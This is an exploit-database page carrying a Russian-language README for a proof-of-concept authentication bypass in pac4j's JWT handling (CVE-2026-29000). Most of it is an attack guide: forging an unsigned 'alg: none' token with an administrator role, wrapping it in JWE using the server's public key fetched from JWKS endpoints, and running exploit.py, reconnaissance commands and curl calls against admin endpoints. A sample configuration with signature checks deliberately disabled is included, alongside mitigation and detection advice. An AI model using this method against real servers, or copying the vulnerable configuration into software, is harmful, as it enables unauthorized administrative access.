Sploitus

Exploit for CVE-2026-29000

kitploit · 2026-08-25

Exploit Code

MARKDOWN510 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C0GNIT00-CVE-2026-29000
# CVE-2026-29000: PoC обхода аутентификации JWT pac4j

> **Подтверждение концепции** для CVE-2026-29000 — критическая уязвимость обхода аутентификации в реализации JWT pac4j, позволяющая злоумышленникам создавать поддельные административные токены без действительной подписи.

* * *

## ⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

**Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор НЕ несёт ответственности за любое неправомерное использование, ущерб или незаконное применение этого эксплойта.**

  * Несанкционированный доступ к компьютерным системам **НЕЗАКОНЕН** в большинстве юрисдикций
  * Перед тестированием пользователи должны получить **явное письменное разрешение**
  * Автор **НЕ несёт ответственности** за любые последствия, возникающие в результате неправомерного использования этого инструмента
  * Это **инструмент для исследований в области безопасности и обучения** — используйте этично и законно



* * *

## 📋 Обзор уязвимости

Эта уязвимость эксплуатирует недостаток в механизме JWT-аутентификации pac4j, при котором библиотека:

  1. **Принимает неподписанные токены** с `alg: "none"` в заголовке JWT
  2. **Доверяет токенам, обёрнутым в JWE** , без надлежащей проверки подписи внутреннего JWT
  3. **Позволяет повышать привилегии** через пользовательские утверждения (claims) в неподписанной полезной нагрузке



Злоумышленник может создать неподписанный JWT с произвольными утверждениями (например, `role: "ROLE_ADMIN"`), зашифровать его в контейнер JWE с использованием открытого ключа сервера и получить несанкционированный доступ к административным функциям.

* * *

## 🎯 Предварительные условия для успешной эксплуатации

### Требования на стороне сервера

Чтобы эксплойт сработал, целевой сервер должен удовлетворять **ВСЕМ** следующим условиям:

#### 1\. **Доступная конечная точка JWKS**

Сервер должен предоставлять свои открытые ключи через одну из этих конечных точек:

  * `/.well-known/jwks.json` (стандартная конечная точка OAuth/OIDC)
  * `/api/auth/jwks` (пользовательская конечная точка)



**Почему:** Эксплойт автоматически загружает открытый ключ сервера для шифрования поддельного JWE-токена.

#### 2\. **Принятие утверждения ROLE в JWT**

Сервер должен:

  * Принимать и обрабатывать утверждение `role` в полезной нагрузке JWT
  * Иметь как минимум один уровень привилегий, предоставляющий расширенный доступ (например, `ROLE_ADMIN`)
  * **Не** проверять подпись JWT или допускать неподписанные токены



**Распространённые роли:**

  * `ROLE_ADMIN` — полный административный доступ
  * `ROLE_USER` — стандартный доступ пользователя
  * Пользовательские роли в зависимости от приложения



#### 3\. **Обработка JWE-токенов**

Сервер должен:

  * Принимать JWE (зашифрованные) токены в качестве действительной аутентификации
  * Расшифровывать и обрабатывать внутренний неподписанный JWT
  * **Не** проверять подпись внутреннего JWT и не проверять алгоритм



#### 4\. **Уязвимая конфигурация pac4j**

Приложение должно использовать pac4j с:

  * Алгоритмом `"none"` или неадекватной проверкой алгоритма
  * Включённым шифрованием JWE, но отключённой проверкой подписи внутреннего JWT
  * Отсутствием дополнительной проверки токена, кроме расшифровки JWE



* * *

## 🛠️ Установка

### Требования

  * Python 3.7+
  * Необходимые пакеты: `requests`, `jwcrypto`



### Настройка

root@kitploit:~
    
    
    # Clone the repository
    git clone https://github.com/yourusername/CVE-2026-29000.git
    cd CVE-2026-29000
    
    # Install dependencies
    pip install -r requirements.txt
    

### requirements.txt

root@kitploit:~
    
    
    requests>=2.28.0
    jwcrypto>=1.4.0
    

* * *

## 🚀 Использование

### Базовое использование

root@kitploit:~
    
    
    python3 exploit.py <TARGET_URL>
    

**Пример:**

root@kitploit:~
    
    
    python3 exploit.py http://vulnerable-app.local:8080
    

Скрипт будет:

  1. Пытаться получить JWKS со стандартных конечных точек
  2. Создавать неподписанный JWT с `role: "ROLE_ADMIN"`
  3. Шифровать его с помощью открытого ключа сервера
  4. Выводить JWE-токен, готовый к аутентификации



### Дополнительные параметры

#### Пользовательское имя пользователя

root@kitploit:~
    
    
    python3 exploit.py http://vulnerable-app.local:8080 --username john
    

#### Пользовательская роль

root@kitploit:~
    
    
    python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
    

#### Указать JWKS вручную

Если конечная точка JWKS недоступна публично, укажите JWK вручную:

root@kitploit:~
    
    
    python3 exploit.py http://vulnerable-app.local:8080 \
      --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
    

#### Полный пример со всеми параметрами

root@kitploit:~
    
    
    python3 exploit.py http://vulnerable-app.local:8080 \
      --username hacker \
      --role ROLE_ADMIN \
      --jwk '{"keys":[{...}]}'
    

* * *

## 📤 Использование сгенерированного токена

Эксплойт выводит JWE-токен в следующем формате:

root@kitploit:~
    
    
    Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
    

### Выполнение аутентифицированных запросов

Используйте токен в HTTP-запросах для доступа к защищённым конечным точкам:

root@kitploit:~
    
    
    # Using curl
    curl -H "Authorization: Bearer <JWE_TOKEN>" \
      http://vulnerable-app.local:8080/api/admin/dashboard
    
    # Using Python requests
    import requests
    headers = {"Authorization": f"Bearer {jwe_token}"}
    response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
    

### Пример запроса с заголовком Authorization

root@kitploit:~
    
    
    curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
      http://vulnerable-app.local:8080/api/users/list
    

* * *

## 🔍 Как работает эксплойт

### Шаг 1: Создание неподписанного JWT

root@kitploit:~
    
    
    header = {"alg": "none", "type": "JWT"}
    payload = {
        "sub": "admin",              # Username
        "role": "ROLE_ADMIN",        # Privilege level
        "iss": "principal-platform", # Issuer
        "iat": 1234567890,          # Issued at
        "exp": 1234571490           # Expiration (1 hour)
    }
    

JWT создаётся **без подписи** (`alg: "none"`), что обычно недействительно, но принимается уязвимыми серверами.

### Шаг 2: Получение JWKS сервера

Эксплойт запрашивает:

  1. `/.well-known/jwks.json` (стандарт OAuth/OIDC)
  2. `/api/auth/jwks` (пользовательская конечная точка)



Это позволяет получить открытый RSA-ключ сервера, необходимый для шифрования.

### Шаг 3: Шифрование JWT как JWE

Неподписанный JWT шифруется с использованием:

  * **Алгоритм:** RSA-OAEP-256 (асимметричное шифрование)
  * **Шифрование:** A128GCM (аутентифицированное шифрование)
  * **Ключ:** Открытый ключ сервера (предотвращает подделку)



Это создаёт JWE-токен, который сервер может расшифровать, но не будет проверять внутреннюю подпись.

### Шаг 4: Использование токена

JWE-токен включается в заголовок `Authorization`:

root@kitploit:~
    
    
    Authorization: Bearer <JWE_TOKEN>
    

Уязвимый сервер расшифровывает его и извлекает неподписанный JWT, доверяя утверждениям без проверки подписи.

* * *

## 🔐 Цепочка уязвимости

root@kitploit:~
    
    
    Unsigned JWT (alg:none)
             ↓
      Wraps in JWE (with server's public key)
             ↓
      Server receives JWE token
             ↓
      Server decrypts JWE
             ↓
      Extracts inner unsigned JWT
             ↓
      ❌ Server does NOT verify signature
             ↓
      ✅ Accepts claims as valid (role: ROLE_ADMIN)
             ↓
      Attacker has admin access!
    

* * *

## ⚠️ Обнаружение и индикаторы

### Серверные индикаторы уязвимости

  1. **Доступность конечной точки JWKS**

     * Проверьте, доступны ли `/.well-known/jwks.json` или `/api/auth/jwks` публично
  2. **Журналы проверки JWT**

     * Ищите в журналах записи о принятии токенов с `alg: "none"`
     * Предупреждения о принятии неподписанных токенов
  3. **Просмотр конфигурации**

     * Проверьте, отключена ли проверка подписи в pac4j
     * Проверьте настройки расшифровки JWE



### Сетевые индикаторы

root@kitploit:~
    
    
    # Reconnaissance
    curl -s http://target:8080/.well-known/jwks.json | jq .
    curl -s http://target:8080/api/auth/jwks | jq .
    
    # Check if JWE tokens are accepted
    curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
    

* * *

## 🛡️ Смягчение и устранение уязвимости

### Для разработчиков, использующих pac4j

  1. **Принудительная проверка подписи**

root@kitploit:~
         
         // BAD - Accepts unsigned tokens
         JwtAuthenticator jwt = new JwtAuthenticator();
         jwt.setAlgorithm(null); // ❌ Vulnerable
         
         // GOOD - Requires valid signature
         JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
         jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
         

  2. **Проверяйте алгоритм JWT**

     * Никогда не принимайте `alg: "none"`
     * Внесите допустимые алгоритмы в белый список (например, RS256, HS256)
     * Отклоняйте токены с несовпадающими алгоритмами
  3. **Отключите JWE, если он не нужен**

     * Если для аутентификации требуется только JWT, отключите обёртку JWE
     * Если JWE необходим, проверяйте подпись внутреннего JWT независимо
  4. **Обновите pac4j**

     * Применяйте исправления безопасности
     * Обновитесь до версии, в которой проверка подписи включена по умолчанию
  5. **Добавьте уровни проверки токена**

     * Проверяйте срок действия токена (утверждение `exp`)
     * Проверяйте эмитента (утверждение `iss`)
     * Сверяйте роли с доверенной базой данных



### Для системных администраторов

  1. **Ограничьте доступ к конечной точке JWKS**

root@kitploit:~
         
         location /.well-known/jwks.json {
             allow 10.0.0.0/8;  # Internal networks only
             deny all;
         }
         

  2. **Мониторьте журналы аутентификации**

     * Срабатывание оповещений на токены с `alg: "none"`
     * Помечайте назначения роли администратора из неожиданных источников
  3. **Сегментация сети**

     * Изолируйте серверы аутентификации
     * Ограничьте конечную точку JWKS авторизованными клиентами
  4. **Регулярные аудиты безопасности**

     * Пересматривайте конфигурации pac4j
     * Проводите пентест механизмов аутентификации



* * *

## 📊 Тестовая среда

### Пример уязвимой настройки

root@kitploit:~
    
    
    @Configuration
    public class SecurityConfig {
        
        @Bean
        public JwtAuthenticator jwtAuthenticator() {
            JwtAuthenticator authenticator = new JwtAuthenticator();
            // ❌ VULNERABLE: No signature verification
            authenticator.setAlgorithmsAllowedForSigning(null);
            authenticator.setJwtClaimsValidation(false);
            return authenticator;
        }
        
        @Bean
        public JWEEncrypter encrypter() {
            // Accepts JWE but doesn't verify inner JWT
            return new JWEEncrypter();
        }
    }
    

* * *

## 📚 Ссылки

  * **ID CVE:** CVE-2026-29000
  * **Затронутая библиотека:** pac4j (модуль JWT)
  * **Вектор атаки:** Обход аутентификации через неподписанный JWT + шифрование JWE
  * **Оценка CVSS:** 9.8 (критическая)



### Связанные ресурсы

  * репозиторий pac4j на GitHub
  * Рекомендации по JWT
  * Шпаргалка OWASP по JWT



* * *

## ⚖️ Правовое уведомление

Этот эксплойт предоставляется **только для образовательных целей и авторизованного тестирования безопасности**.

**Несанкционированный доступ к компьютерным системам является незаконным.** Этот инструмент следует использовать только:

  * Системах, которыми вы владеете
  * Системах, на которые есть явное письменное разрешение
  * Авторизованных мероприятиях по тестированию на проникновение



Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим инструментом.

* * *

## 📝 Лицензия

Лицензия MIT — подробности см. в файле LICENSE

* * *

## 👥 Вклад в проект

Нашли ошибку? Есть предложения по улучшению?

  1. Сделайте форк репозитория
  2. Создайте ветку функции (`git checkout -b feature/improvement`)
  3. Зафиксируйте изменения (`git commit -m 'Add improvement'`)
  4. Отправьте ветку (`git push origin feature/improvement`)
  5. Откройте Pull Request



* * *

## 📞 Поддержка

По вопросам, проблемам или предложениям:

  * Откройте issue на GitHub
  * Укажите целевую версию pac4j
  * Прикрепите соответствующие журналы и конфигурации



* * *

**Последнее обновление:** май 2026  
**Автор:** Группа исследования безопасности  
**Статус:** Образовательный PoC